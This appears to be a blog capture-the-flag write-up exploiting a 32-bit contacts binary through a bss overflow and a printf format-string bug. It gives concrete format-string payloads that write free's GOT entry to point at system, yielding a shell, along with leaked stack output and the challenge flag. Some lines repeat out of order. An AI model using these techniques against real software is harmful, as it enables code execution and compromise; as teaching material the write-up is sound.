This again is a 32-bit ELF. The binary maintain user contacts as 80 byte records as part of bss memory, starting from address 0804B0A0. It is possible to save maximum of 10 contacts. This is what the structure looks like
Exploit details:
[*] Trigger info leak using format string
[*] Delete the contact, this will call system("/bin/sh"), instead of free("/bin/sh")
Flag for the challenge is flag{f0rm47_s7r1ng5_4r3_fun_57uff}
struct contact { char *description; char *phonenumber; char name[64]; int desc_size; int inuse; };First vulnerability resides in edit contact feature, where size parameter of fgets seems to be uninitialized and taking large value. This can overflow into adjacent structures in bss memory.
.text:08048A4E mov edx, ds:stdin .text:08048A54 mov eax, [ebp+size] .text:08048A57 mov ecx, [ebp+contact] .text:08048A5A add ecx, 8 .text:08048A5D mov [esp+8], edx ; stream .text:08048A61 mov [esp+4], eax ; n .text:08048A65 mov [esp], ecx ; s .text:08048A68 call _fgets
printf("New name: "); fgets(contact->name, size, stdin);Next bug is a format string vulnerability in display contact feature:
is_inuse = contact->inuse; if (is_inuse) PrintDetails(contact->name, contact->desc_size, contact->phonenumber, contact->description); int PrintDetails(char *name, int size, char *phonenumber, char *description) { printf("\tName: %s\n", name); printf("\tLength %u\n", size); printf("\tPhone #: %s\n", phonenumber); printf("\tDescription: "); printf(description); }Now lets use format string vulnerability to get code execution. Remember, there is not much control of data placed in stack. So we need to find ways to place necessary pointers in stack and use the format string vulnerabilty to perform arbitrary memory overwrite.
Exploit details:
[*] Trigger info leak using format string
804c008.f7e543a1.f7fb1000.0.0.ffffcc48.8048c99.804b0a8.7d0.804c008.804c018.f7fb1ac0.8048ed6.804b0a0.0.0.f7fb1000.ffffcc78.80487a2.804b0a0.ffffcc68.50[*] At index 6$ and 18$, resides two saved EBP pointers. Use these pointers to write GOT address of free() into stack
GOT address of free = 0x0804b014 >>> 0xb014 45076 >>> 0x0804 2052 FRAME0EBP FRAME1EBP+0 ---> GOT_FREE # write 2 LSB bytes of GOT payload = '%.' + str(45076) + 'u%18$hn' FRAME0EBP-->FRAME1EBP+2 # update FRAME1EBP address using FRAME0EBP address = (FRAME1EBP+2) & 0xFFFF payload = '%.' + str(address) + 'u%6$hn' FRAME0EBP FRAME1EBP+2 ---> GOT_FREE # write 2 MSB bytes of GOT payload = '%.' + str(2052) + 'u%18$hn'[*] Read the GOT entry of free, to leak libc address
payload = "%30$s"[*] Then overwrite GOT of free with address to system
# writes 2 LSB bytes of address system = (libc_base_address + system_offset) & 0xFFFF payload = '%.' + str(system) + 'u%30$hn'Update GOT address in stack to point to MSB bytes
payload = '%.' + str(45078) + 'u%18$hn'
# writes 2 MSB bytes of address system = ((libc_base_address + system_offset) & 0xffff0000) >> 16 payload = '%.' + str(system) + 'u%30$hn'[*] Create a contact with /bin/sh\x00 as description
[*] Delete the contact, this will call system("/bin/sh"), instead of free("/bin/sh")
Flag for the challenge is flag{f0rm47_s7r1ng5_4r3_fun_57uff}
No comments :
Post a Comment